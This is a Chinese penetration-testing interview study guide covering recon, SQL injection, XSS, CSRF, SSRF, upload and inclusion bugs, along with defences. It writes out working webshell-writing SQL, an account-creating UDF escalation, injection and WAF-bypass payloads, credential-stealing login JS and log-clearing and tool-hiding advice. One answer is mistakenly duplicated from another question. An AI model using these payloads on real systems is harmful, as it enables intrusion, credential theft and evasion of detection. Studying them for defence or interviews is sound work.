思路流程

信息收集

1. 服务器的相关信息（真实 ip，系统类型，版本，开放端口，WAF 等）
2. 网站指纹识别（包括，cms，cdn，证书等），dns 记录
3. whois 信息，姓名，备案，邮箱，电话反查（邮箱丢社工库，社工准备等）
4. 子域名收集，旁站，C 段等
5. google hacking 针对化搜索，pdf 文件，中间件版本，弱口令扫描等
6. 扫描网站目录结构，爆后台，网站 banner，测试文件，备份等敏感文件泄漏等
7. 传输协议，通用漏洞，exp，github 源码等

漏洞挖掘

1. 浏览网站，看看网站规模，功能，特点等
2. 端口，弱口令，目录等扫描,对响应的端口进行漏洞探测，比如 rsync,心脏出血，mysql,ftp,ssh 弱口令等。
3. XSS，SQL 注入，上传，命令注入，CSRF，cookie 安全检测，敏感信息，通信数据传输，暴力破解，任意文件上传，越权访问，未授权访问，目录遍历，文件 包含，重放攻击（短信轰炸），服务器漏洞检测，最后使用漏扫工具等

漏洞利用&权限提升

- mysql 提权，serv-u 提权，oracle 提权
- windows 溢出提权
- linux 脏牛,内核漏洞提权 e

清除测试数据&输出报告

日志、测试数据的清理

总结，输出渗透测试报告，附修复方案

复测

验证并发现是否有新漏洞，输出报告，归档

问题

1.拿到一个待检测的站，你觉得应该先做什么？

a、信息收集

1、获取域名的 whois 信息,获取注册者邮箱姓名电话等，丢社工库里看看有没有泄露密码，然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号，里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。

2、查询服务器旁站以及子域名站点，因为主站一般比较难，所以先看看旁站有没有通用性的 cms 或者其他漏洞。

3、查看服务器操作系统版本，web 中间件，看看是否存在已知的漏洞，比如 IIS，APACHE,NGINX 的解析漏洞

4、查看 IP，进行 IP 地址端口扫描，对响应的端口进行漏洞探测，比如 rsync,心脏出血，mysql,ftp,ssh 弱口令等。

5、扫描网站目录结构，看看是否可以遍历目录，或者敏感文件泄漏，比如 php 探针

6、google hack 进一步探测网站的信息，后台，敏感文件

b、漏洞扫描

开始检测漏洞，如 XSS,XSRF,sql 注入，代码执行，命令执行，越权访问，目录读取，任意文件读取，下载，文件包含，远程命令执行，弱口令，上传，编辑器漏洞，暴力破解等

c、漏洞利用

利用以上的方式拿到 webshell，或者其他权限

d、权限提升

提权服务器，比如 windows 下 mysql 的 udf 提权，serv-u 提权，windows 低版本的漏洞，如 iis6,pr,巴西烤肉，linux 脏牛漏洞，linux 内核版本漏洞提权，linux 下的 mysql system 提权以及 oracle 低权限提权

e、日志清理

f、总结报告及修复方案

2.判断出网站的 CMS 对渗透有什么意义？

查找网上已曝光的程序漏洞。

如果开源，还能下载相对应的源码进行代码审计。

3.一个成熟并且相对安全的 CMS，渗透时扫目录的意义？

敏感文件、二级目录扫描

站长的误操作比如：网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

4.常见的网站服务器容器。

IIS、Apache、nginx、Lighttpd、Tomcat

5.mysql 注入点，用工具对目标站直接写入一句话，需要哪些条件？

root 权限以及网站的绝对路径。

6.目前已知哪些版本的容器有解析漏洞，具体举例。

a、IIS 6.0

/xx.asp/xx.jpg "xx.asp"是文件夹名

b、IIS 7.0/7.5

默认 Fast-CGI 开启，直接在 url 中图片地址后面输入/1.php，会把正常图片当成 php 解析

c、Nginx

版本小于等于 0.8.37，利用方法和 IIS 7.0/7.5 一样，Fast-CGI 关闭情况下也可利用。空字节代码 xxx.jpg.php

d、Apache 上传的文件命名为：test.php.x1.x2.x3，Apache 是从右往左判断后缀

e、lighttpd xx.jpg/xx.php，**不全,请小伙伴们在评论处不吝补充，谢谢！**

7.如何手工快速判断目标站是 windows 还是 linux 服务器？

linux 大小写敏感,windows 大小写不敏感。

8.为何一个 mysql 数据库的站，只有一个 80 端口开放？

更改了端口，没有扫描出来。

站库分离。

3306 端口不对外开放

9、3389 无法连接的几种情况

没开放 3389 端口

端口被修改

防护拦截

处于内网(需进行端口转发)

10.如何突破注入时字符被转义？

宽字符注入

hex 编码绕过

11.在某后台新闻编辑界面看到编辑器，应该先做什么？

查看编辑器的名称版本,然后搜索公开的漏洞。

12.拿到一个 webshell 发现网站根目录下有.htaccess 文件，我们能做什么？

能做的事情很多，用隐藏网马来举例子：

插入

<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php

.jpg 文件会被解析成.php 文件。

具体其他的事情，不好详说，建议大家自己去搜索语句来玩玩。

13.注入漏洞只能查账号密码？

只要权限广，拖库脱到老。

14.安全狗会追踪变量，从而发现出是一句话木马吗？

是根据特征码，所以很好绕过了，只要思路宽，绕狗绕到欢，但这应该不会是一成不变的。

15.access 扫出后缀为 asp 的数据库文件，访问乱码，如何实现到本地利用？**

迅雷下载，直接改后缀为.mdb。

16.提权时选择可读写目录，为何尽量不用带空格的目录？

因为 exp 执行多半需要空格界定参数

17.某服务器有站点 A,B 为何在 A 的后台添加 test 用户，访问 B 的后台。发现也添加上了 test 用户？
同数据库。
18.注入时可以不使用 and 或 or 或 xor，直接 order by 开始注入吗？
and/or/xor，前面的 1=1、1=2 步骤只是为了判断是否为注入点，如果已经确定是注入点那就可以省那步骤去。
19:某个防注入系统，在注入时会提示：
系统检测到你有非法注入的行为。
已记录您的 ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1
20、如何利用这个防注入系统拿 shell？
在 URL 里面直接提交一句话，这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。
21.上传大马后访问乱码时，有哪些解决办法？
浏览器中改编码。
22.审查上传点的元素有什么意义？
有些站点的上传文件类型的限制是在前端实现的，这时只要增加上传类型就能突破限制了。
23.目标站禁止注册用户，找回密码处随便输入用户名提示：“此用户不存在”，你觉得这里怎样利用？
先爆破用户名，再利用被爆破出来的用户名爆破密码。
其实有些站点，在登陆处也会这样提示
所有和数据库有交互的地方都有可能有注入。
24.目标站发现某 txt 的下载地址为
http://www.test.com/down/down.php?file=/upwdown/1.txt，你有什么思路？
这就是传说中的下载漏洞！在 file=后面尝试输入 index.php 下载他的首页文件，然后在首页文件里继续查找其他网站的配置文件，可以找出网站的数据库密码和数据库的地址。
25.甲给你一个目标站，并且告诉你根目录下存在/abc/目录，并且此目录下存在编辑器和 admin 目录。请问你的想法是？
直接在网站二级目录/abc/下扫描敏感文件及目录。
26.在有 shell 的情况下，如何使用 xss 实现对目标站的长久控制？
后台登录处加一段记录登录账号密码的 js，并且判断是否登录成功，如果登录成功，就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。
在登录后才可以访问的文件中插入 XSS 脚本。
27.后台修改管理员密码处，原密码显示为*。你觉得该怎样实现读出这个用户的密码？
审查元素 把密码处的 password 属性改成 text 就明文显示了
28.目标站无防护，上传图片可以正常访问，上传脚本格式访问则 403.什么原因？
原因很多，有可能 web 服务器配置把上传目录写死了不执行相应脚本，尝试改后缀名绕过
29.审查元素得知网站所使用的防护软件，你觉得怎样做到的？

在敏感操作被拦截，通过界面信息无法具体判断是什么防护的时候，F12 看 HTML 体部 比如护卫神就可以在名称那看到内容。

30.在 win2003 服务器中建立一个 .zhongzi 文件夹用意何为？

隐藏文件夹，为了不让管理员发现你传上去的工具。

31、sql 注入有以下两个测试选项，选一个并且阐述不选另一个的理由：

A. demo.jsp?id=2+1

B. demo.jsp?id=2-1

选 B，在 URL 编码中 + 代表空格，可能会造成混淆

32、以下链接存在 sql 注入漏洞，对于这个变形注入，你有什么思路？

demo.do?DATA=AjAxNg==

DATA 有可能经过了 base64 编码再传入服务器，所以我们也要对参数进行 base64 编码才能正确完成测试

33、发现 demo.jsp?uid=110 注入点，你有哪几种思路获取 webshell，哪种是优选？

有写入权限的，构造联合查询语句使用 using INTO OUTFILE，可以将查询的输出重定向到系统的文件中，这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同，来直接获得一个 Shell，这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码，然后扫后台登录后台，再在后台通过改包上传等方法上传 Shell

34、CSRF 和 XSS 和 XXE 有什么区别，以及修复方式？

XSS 是跨站脚本攻击，用户提交的数据中可以构造代码来执行，从而实现窃取用户信息等攻击。修复方式：对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取 Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。

CSRF 是跨站请求伪造攻击，XSS 是实现 CSRF 的诸多手段中的一种，是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式：筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer XXE 是 XML 外部实体注入攻击，XML 中可以通过调用实体来请求本地或者远程内容，和远程文件保护类似，会引发相关安全问题，例如敏感文件读取。修复方式：XML 解析库在调用时严格禁止对外部实体的解析。

35、CSRF、SSRF 和重放攻击有什么区别？

CSRF 是跨站请求伪造攻击，由客户端发起 SSRF 是服务器端请求伪造，由服务器发起 重放攻击是将截获的数据包进行重放，达到身份认证等目的

36、说出至少三种业务逻辑漏洞，以及修复方式？

密码找回漏洞中存在

1）密码允许暴力破解、

2）存在通用型找回凭证、

3）可以跳过验证步骤、

4）找回凭证可以拦包获取

等方式来通过厂商提供的密码找回功能来得到密码。**身份认证漏洞**中最常见的是

1）会话固定攻击

2） Cookie 仿冒

只要得到 Session 或 Cookie 即可伪造用户身份。**验证码漏洞**中存在

1）验证码允许暴力破解

2）验证码可以通过 Javascript 或者改包的方法来进行绕过

37、圈出下面会话中可能存在问题的项，并标注可能会存在的问题？

```
get /ecskins/demo.jsp?uid=2016031900&keyword=”hello
world”HTTP/1.1Host:***.com:82User-Agent:Mozilla/5.0
Firefox/40Accept:text/css,/;q=0.1Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3Refere
r:http://*******.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902Cookie:myguid
1234567890=1349db5fe50c372c3d995709f54c273d;uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;s
t_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive
```

有写入权限的，构造联合查询语句使用 using INTO OUTFILE，可以将查询的输出重定向到系统的文件中，这样去写入 WebShell 使用 sqlmap –os-shell 原理和上面一种相同，来直接获得一个 Shell，这样效率更高 通过构造联合查询语句得到网站管理员的账户和密码，然后扫后台登录后台，再在后台通过改包上传等方法上传 Shell

38、给你一个网站你是如何来渗透测试的?在获取书面授权的前提下。

39、sqlmap，怎么对一个注入点注入？

1）如果是 get 型号，直接，sqlmap -u "诸如点网址".

2) 如果是 post 型诸如点，可以 sqlmap -u "注入点网址” --data="post 的参数"

3）如果是 cookie，X-Forwarded-For 等，可以访问的时候，用 burpsuite 抓包，注入处用号替换，放到文件里，然后 sqlmap -r "文件地址"

40、nmap，扫描的几种方式

41、sql 注入的几种类型？

1）报错注入

2）bool 型注入

3）延时注入

4）宽字节注入

42、报错注入的函数有哪些？10 个

-
-
-

1）and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】2）通过 floor 报错 向下取整 3）+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)4）.geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));5）.multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));6）.polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));7）.multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));8）.linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));9）.multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));10）.exp()select from test where id=1 and exp(~(select * from(select user())a));

43、延时注入如何来判断？

-

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

44、盲注和延时注入的共同点？都是一个字符一个字符的判断

45、如何拿一个网站的 webshell？上传，后台编辑模板，sql 注入写文件，命令执行，代码执行， 一些已经爆出的 cms 漏洞，比如 dedecms 后台可以直接建立脚本文件，wordpress 上传插件包含脚本文件 zip 压缩包等

46、sql 注入写文件都有哪些函数？

-
-
-

select '一句话' into outfile '路径'select '一句话' into dumpfile '路径'select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';

47、如何防止 CSRF?

1,验证 referer

2，验证 token

详细：http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48、owasp 漏洞都有哪些？

1、SQL 注入防护方法：

2、失效的身份认证和会话管理

3、跨站脚本攻击 XSS

4、直接引用不安全的对象

5、安全配置错误

6、敏感信息泄露

7、缺少功能级的访问控制

8、跨站请求伪造 CSRF

9、使用含有已知漏洞的组件

10、未验证的重定向和转发

49、SQL 注入防护方法？

1、使用安全的 API

2、对输入的特殊字符进行 Escape 转义处理

3、使用白名单来规范化输入验证方法

4、对客户端输入进行控制，不允许输入 SQL 注入相关的特殊字符

5、服务器端在提交数据库进行 SQL 查询之前，对特殊字符进行过滤、转义、替换、删除。

50、代码执行，文件读取，命令执行的函数都有哪些？

-
-
-
-
-
-
-
-
-
-
-
-

1）代码执行：

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2）文件读取：

file_get_contents(),highlight_file(),fopen(),read

file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3)命令执行：

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

51、img 标签除了 onerror 属性外，还有其他获取管理员路径的办法吗？

src 指定一个远程的脚本文件，获取 referer

52、img 标签除了 onerror 属性外，并且 src 属性的后缀名，必须以.jpg 结尾，怎么获取管理员路径。

1）远程服务器修改 apache 配置文件，配置.jpg 文件以 php 方式来解析 AddType application/x-httpd-php .jpg <img src=http://xss.tv/1.jpg> 会以 php 方式来解析

53、为什么 aspx 木马权限比 asp 大？

aspx 使用的是.net 技术。IIS 中默认不支持，ASP 只是脚本语言而已。入侵的时候 asp 的木马一般是 guest 权限...APSX 的木马一般是 users 权限。

54、如何绕过 waf？

-
-
-
-

大小写转换法 干扰字符 /*!*/

编码 base64 unicode hex url ascll 复参数

55、如何向服务器写入 webshell？

-
-

-

各种上传漏洞 mysql 具有写入权限,用 sql 语句写入 shellhttp put 方法

56、渗透测试中常见的端口

a、web 类(web 漏洞/敏感目录) 第三方通用组件漏洞 struts thinkphp jboss ganglia zabbix

-
-
-

80 web 80-89 web 8000-9090 web

b、数据库类(扫描弱口令)

-
-
-
-

1433 MSSQL 1521 Oracle 3306 MySQL 5432 PostgreSQL

c、特殊服务类(未授权/命令执行类/漏洞)

-
-
-
-
-
-
-
-
-
-

443 SSL 心脏滴血 873 Rsync 未授权 5984 CouchDB http://xxx:5984/_utils/ 6379 redis 未授权 7001,7002 WebLogic 默认弱口令，反序列 9200,9300 elasticsearch 参考 WooYun: 多玩某服务器 ElasticSearch 命令执行漏洞 11211 memcache 未授权访问 27017,27018 Mongodb 未授权访问 50000 SAP 命令执行 50070,50030 hadoop 默认端口未授权访问

d、常用端口类(扫描弱口令/端口爆破)

-
-
-
-
-

21 ftp 22 SSH 23 Telnet 2601,2604 zebra 路由，默认密码 zebra3389 远程桌面

ALL、端口合计详情

-
-
-
-
-
-
-
-
-
-

21 ftp 22 SSH 23 Telnet 80 web 80-89 web 161 SNMP 389 LDAP 443 SSL 心脏滴血以及一些 web 漏洞测试 445 SMB 512,513,514 Rexec 873 Rsync 未授权 1025,111 NFS 1433 MSSQL 1521 Oracle:(iSqlPlus Port:5560,7778) 2082/2083 cpanel 主机管理系统登陆 （国外用较多）2222 DA 虚拟主机管理系统登陆 （国外用较多） 2601,2604 zebra 路由，默认密码 zebra3128 squid 代理默认端口，如果没设置口令很可能就直接漫游内网了 3306 MySQL 3312/3311 kangle 主机管理系统登陆 3389 远程桌面 4440 rundeck 参考 WooYun: 借用新浪某服务成功漫游新浪内网 5432 PostgreSQL 5900 vnc 5984 CouchDB http://xxx:5984/_utils/ 6082 varnish 参考 WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 6379 redis 未授权 7001,7002 WebLogic 默认弱口令，反序列 7778 Kloxo 主机控制面板登录 8000-9090 都是一些常见的 web 端口，有些运维喜欢把管理后台开在这些非 80 的端口上 8080 tomcat/WDCP 主机管理系统，默认弱口令 8080,8089,9090 JBOSS 8083 Vestacp 主机管理系统 （国外用较多） 8649 ganglia 8888 amh/LuManager 主机管理系统默认端口 9200,9300 elasticsearch 参考 WooYun: 多玩某服务器 ElasticSearch 命令执行漏洞 10000 Virtualmin/Webmin 服务器虚拟主机管理系统 11211 memcache 未授权访问 27017,27018 Mongodb 未授权访问 28017 mongodb 统计页面 50000 SAP 命令执行 50070,50030 hadoop 默认端口未授权访问

深信服一面:

- 了解哪些漏洞
- 文件上传有哪些防护方式
- 用什么扫描端口，目录
- 如何判断注入
- 注入有防护怎么办
- 有没有写过 tamper
- 3306 1443 8080 是什么端口
- 计算机网络从物理层到应用层 xxxx
- 有没有 web 服务开发经验
- 如何向服务器写入 webshell
- 有没有用过 xss 平台
- 网站渗透的流程
- mysql 两种提权方式（udf，？）
- 常见加密方式 xxx
- ddos 如何防护
- 有没有抓过包，会不会写 wireshark 过滤规则
- 清理日志要清理哪些

SQL 注入防护

1、使用安全的 API

2、对输入的特殊字符进行 Escape 转义处理

3、使用白名单来规范化输入验证方法

4、对客户端输入进行控制，不允许输入 SQL 注入相关的特殊字符

5、服务器端在提交数据库进行 SQL 查询之前，对特殊字符进行过滤、转义、替换、删除。

6、规范编码,字符集

为什么参数化查询可以防止 sql 注入

原理:

使用参数化查询数据库服务器不会把参数的内容当作 sql 指令的一部分来执行，是在数据库完成 sql 指令的编译后才套用参数运行

简单的说: 参数化能防注入的原因在于,语句是语句，参数是参数，参数的值并不是语句的一部分，数据库只按语句的语义跑

SQL 头注入点

UAREFERERCOOKIEIP

盲注是什么？怎么盲注？

盲注是在 SQL 注入攻击过程中，服务器关闭了错误回显，我们单纯通过服务器返回内容的变化来判断是否存在 SQL 注入和利用的方式。盲注的手段有两种，一个是通过页面的返回内容是否正确(boolean-based)，来验证是否存在注入。一个是通过 sql 语句处理时间的不同来判断是否存在注入(time-based)，在这里，可以用 benchmark，sleep 等造成延时效果的函数，也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

宽字节注入产生原理以及根本原因

产生原理

在数据库使用了宽字符集而 WEB 中没考虑这个问题的情况下，在 WEB 层，由于 0XBF27 是两个字符，在 PHP 中比如 addslash 和 magic_quotes_gpc 开启时，由于会对 0x27 单引号进行转义，因此 0xbf27 会变成 0xbf5c27,而数据进入数据库中时，由于 0XBF5C 是一个另外的字符，因此\转义符号会被前面的 bf 带着"吃掉"，单引号由此逃逸出来可以用来闭合语句。

在哪里编码

根本原因

character_set_client(客户端的字符集)和 character_set_connection(连接层的字符集)不同,或转换函数如，iconv、mb_convert_encoding 使用不当。

解决办法

统一数据库、Web 应用、操作系统所使用的字符集，避免解析产生差异，最好都设置为 UTF-8。或对数据进行正确的转义，如 mysql_real_escape_string+mysql_set_charset 的使用。

sql 里面只有 update 怎么利用

先理解这句 SQL

-

```
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
```

如果此 SQL 被修改成以下形式，就实现了注入

a、修改 homepage 值为 `http://xxx.net', userlevel='3`

之后 SQL 语句变为

-

```
UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'
```

userlevel 为用户级别

b、修改 password 值为 `mypass)' WHERE username='admin'#`

之后 SQL 语句变为

-

```
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
```

c、修改 id 值为`' OR username='admin'`之后 SQL 语句变为

-

```
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
```

sql 如何写 shell/单引号被过滤怎么办

写 shell: root 权限，GPC 关闭，知道文件路径 outfile 函数

-
-
-

```
`http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'`
`http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f706870206870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'`
```

宽字节注入

代替空格的方法

-
-
-

```
%0a、%0b、%a0 等/**/ 等注释符<>
```

mysql 的网站注入，5.0 以上和 5.0 以下有什么区别？

5.0 以下没有 information_schema 这个系统表，无法列表名等，只能暴力跑表名。
5.0 以下是多用户单操作，5.0 以上是多用户多操做。

XSS

XSS 原理

反射型

用户提交的数据中可以构造代码来执行，从而实现窃取用户信息等攻击。需要诱使用户“点击”一个恶意链接，才能攻击成功

储存型

存储型 XSS 会把用户输入的数据“存储”在服务器端。这种 XSS 具有很强的稳定性。

DOM 型

通过修改页面的 DOM 节点形成的 XSS，称之为 DOM Based XSS。

DOM 型和反射型的区别

反射型 XSS：通过诱导用户点击，我们构造好的恶意 payload 才会触发的 XSS。反射型 XSS 的检测我们在每次请求带 payload 的链接时页面应该是会带有特定的畸形数据的。DOM 型：通过修改页面的 DOM 节点形成的 XSS。DOM-based XSS 由于是通过 js 代码进行 dom 操作产生的 XSS，所以在请求的响应中我们甚至不一定会得到相应的畸形数据。根本区别在我看来是输出点的不同。

DOM 型 XSS 自动化测试或人工测试

人工测试思路：找到类似 document.write、innerHTML 赋值、outterHTML 赋值、window.location 操作、写 javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量，回溯变量来源观察是否可控，是否经过安全函数。自动化测试参看道哥的博客，思路是从输入入手，

观察变量传递的过程，最终检查是否有在危险函数输出，中途是否有经过安全函数。但是这样就需要有一个 javascript 解析器，否则会漏掉一些通过 js 执行带入的部分内容。
在回答这段问题的时候，由于平时对客户的检测中，基本是凭借不同功能点的功能加上经验和直觉来进行检测，对不同类型的 XSS 检测方式实际上并没有太过细分的标准化检测方式，所以回答的很烂。。。

对于 XSS 怎么修补建议

输入点检查：对用户输入的数据进行合法性检查，使用 filter 过滤敏感字符或对进行编码转义，针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。
输出点检查：对变量输出到 HTML 页面中时，对输出内容进行编码转义，输出在 HTML 中时，对其进行 HTMLEncode，如果输出在 Javascript 脚本中时，对其进行 JavascriptEncode。对使用 JavascriptEncode 的变量都放在引号中并转义危险字符，data 部分就无法逃逸出引号外成为 code 的一部分。还可以使用更加严格的方法，对所有数字字母之外的字符都使用十六进制编码。此外，要注意在浏览器中，HTML 的解析会优先于 Javascript 的解析，编码的方式也需要考虑清楚，针对不同的输出点，我们防御 XSS 的方法可能会不同，这点可能在之后的文章会做下总结。
除此之外，还有做 HTTPOnly 对 Cookie 劫持做限制。

XSS 蠕虫的产生条件

正常情况下，一个是产生 XSS 点的页面不属于 self 页面，用户之间产生交互行为的页面，都可能造成 XSS Worm 的产生。
不一定需要存储型 XSS

CSRF

CSRF 原理

CSRF 是跨站请求伪造攻击，由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认

防御

验证 Referer
添加 token

token 和 referer 做横向对比，谁安全等级高？

token 安全等级更高，因为并不是任何服务器都可以取得 referer，如果从 HTTPS 跳到 HTTP，也不会发送 referer。并且 FLASH 一些版本中可以自定义 referer。但是 token 的话，要保证其足够随机且不可泄露。(不可预测性原则)

对 referer 的验证，从什么角度去做？如果做，怎么杜绝问题

对 header 中的 referer 的验证，一个是空 referer，一个是 referer 过滤或者检测不完善。为了杜绝这种问题，在验证的白名单中，正则规则应当写完善。

针对 token，对 token 测试会注意哪方面内容，会对 token 的哪方面进行测试？

引用一段请教前辈的回答：

-
-
-
-

针对 token 的攻击，一是对它本身的攻击，重放测试一次性、分析加密规则、校验方式是否正确等，二是结合信息泄露漏洞对它的获取，结合着发起组合攻击信息泄露有可能是缓存、日志、get，也有可能是利用跨站很多跳转登录的都依赖 token，有一个跳转漏洞加反射型跨站就可以组合成登录劫持了另外也可以结合着其它业务来描述 token 的安全性及设计不好怎么被绕过比如抢红包业务之类的

SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容，加载指定地址的图片，下载等等。

检测

SSRF 漏洞的验证方法：

1）因为 SSRF 漏洞是让服务器发送请求的安全漏洞，所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的，从而来判断是否存在 SSRF 漏洞
2）在页面源码中查找访问的资源地址 ，如果该资源地址类型为 **www.baidu.com/xxx.php?image=（地址）的就可能存在 SSRF 漏洞 4**[1]

SSRF 漏洞的成因 防御 绕过

成因：模拟服务器对其他服务器资源进行请求，没有做合法性验证。利用：构造恶意内网 IP 做探测，或者使用其余所支持的协议对其余服务进行攻击。防御：禁止跳转，限制协议，内外网限制，URL 限制。绕过：使用不同协议，针对 IP，IP 格式的绕过，针对 URL，恶意 URL 增添其他字符，@之类的。301 跳转+dns rebindding。

上传

文件上传漏洞原理

由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

常见的上传绕过方式

前端 js 验证：禁用 js/burp 改包
大小写
双重后缀名
过滤绕过 pphphp->php

防护

文件上传目录设置为不可执行
使用白名单判断文件上传类型
用随机数改写文件名和路径

审查上传点的元素有什么意义？

有些站点的上传文件类型的限制是在前端实现的，这时只要增加上传类型就能突破限制了。

文件包含

原理

引入一段用户能控制的脚本或代码，并让服务器端执行 include()等函数通过动态变量的方式引入需要包含的文件；
用户能够控制该动态变量。

导致文件包含的函数

PHP：include(), include_once(), require(), re-quire_once(), fopen(), readfile(), ... JSP/Servlet：ava.io.File(), java.io.Fil-eReader(), ... ASP：include file, include virtual,

本地文件包含

能够打开并包含本地文件的漏洞，被称为本地文件包含漏洞

金融行业常见逻辑漏洞

单针对金融业务的 主要是数据的篡改(涉及金融数据，或部分业务的判断数据)，由竞争条件或者设计不当引起的薅羊毛，交易/订单信息泄露，水平越权对别人的账户查看或恶意操作，交易或业务步骤绕过。

中间人攻击

中间人攻击是一个（缺乏）相互认证的攻击；由于客户端与服务器之间在 SSL 握手的过程中缺乏相互认证而造成的漏洞
防御中间人攻击的方案通常基于一下几种技术
1.公钥基础建设 PKI 使用 PKI 相互认证机制，客户端验证服务器，服务器验证客户端；上述两个例子中都是只验证服务器，这样就造成了 SSL 握手环节的漏洞，而如果使用相互认证的的话，基本可以更强力的相互认证

2.延迟测试
使用复杂加密哈希函数进行计算以造成数十秒的延迟；如果双方通常情况下都要花费 20 秒来计算，并且整个通讯花费了 60 秒计算才到达对方，这就能表明存在第三方中间人。
3.使用其他形式的密钥交换形式

ARP 欺骗

原理

每台主机都有一个 ARP 缓存表，缓存表中记录了 IP 地址与 MAC 地址的对应关系，而局域网数据传输依靠的是 MAC 地址。在 ARP 缓存表机制存在一个缺陷，就是当请求主机收到 ARP 应答包后，不会去验证自己是否向对方主机发送过 ARP 请求包，就直接把这个返回包中的 IP 地址与 MAC 地址的对应关系保存进 ARP 缓存表中，如果原有相同 IP 对应关系，原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能

防护

1.在主机绑定网关 MAC 与 IP 地址为静态（默认为动态），命令：arp -s 网关 IP 网关 MAC
2.在网关绑定主机 MAC 与 IP 地址
3.使用 ARP 防火墙

DDOS

Ddos 原理

利用合理的请求造成资源过载，导致服务不可用

syn 洪流的原理

伪造大量的源 IP 地址，分别向服务器端发送大量的 SYN 包，此时服务器端会返回 SYN/ACK 包，因为源地址是伪造的，所以伪造的 IP 并不会应答，服务器端没有收到伪造 IP 的回应，会重试 3～5 次并且等待一个 SYNTime（一般为 30 秒至 2 分钟），如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的 SYN 请求，服务器端将会消耗非常多的资源（CPU 和内存）来处理这种半连接，同时

还要不断地对这些 IP 进行 SYN+ACK 重试。最后的结果是服务器无暇理睬正常的连接请求，导致拒绝服务。

CC 攻击原理

对一些消耗资源较大的应用页面不断发起正常的请求，以达到消耗服务端资源的目的。

DDOS 防护

SYN Cookie/SYN Proxy、safereset 等算法。SYN Cookie 的主要思想是为每一个 IP 地址分配一个“Cookie”，并统计每个 IP 地址的访问频率。如果在短时间内收到大量的来自同一个 IP 地址的数据包，则认为受到攻击，之后来自这个 IP 地址的包将被丢弃。

提权

mysql 两种提权方式

udf 提权,mof 提权

Mysql_UDF 提权

要求: 1.目标系统是 Windows(Win2000,XP,Win2003)；2.拥有 MYSQL 的某个用户账号，此账号必须有对 mysql 的 insert 和 delete 权限以创建和抛弃函数 3.有 root 账号密码 导出 udf: MYSQL 5.1 以上版本，必须要把 udf.dll 文件放到 MYSQL 安装目录下的 lib\plugin 文件夹下才能创建自定义函数 可以再 mysql 里输入 `select @@basedirshow variables like ‘%plugins%’` 寻找 mysql 安装路径 提权: 使用 SQL 语句创建功能函数。语法：Create Function 函数名（函数名只能为下面列表中的其中之一）returns string soname ‘导出的 DLL 路径’；

-
-
-
-
-

```
create function cmdshell returns string soname ‘udf.dll’select cmdshell(‘net user arsch arsch /add’);select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
```

该目录默认是不存在的，这就需要我们使用 webshell 找到 MYSQL 的安装目录，并在安装目录下创建 lib\plugin 文件夹，然后将 udf.dll 文件导出到该目录即可。

Mysql mof 提权

```
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter{EventNamespace = "Root\\Cimv2";Name  =
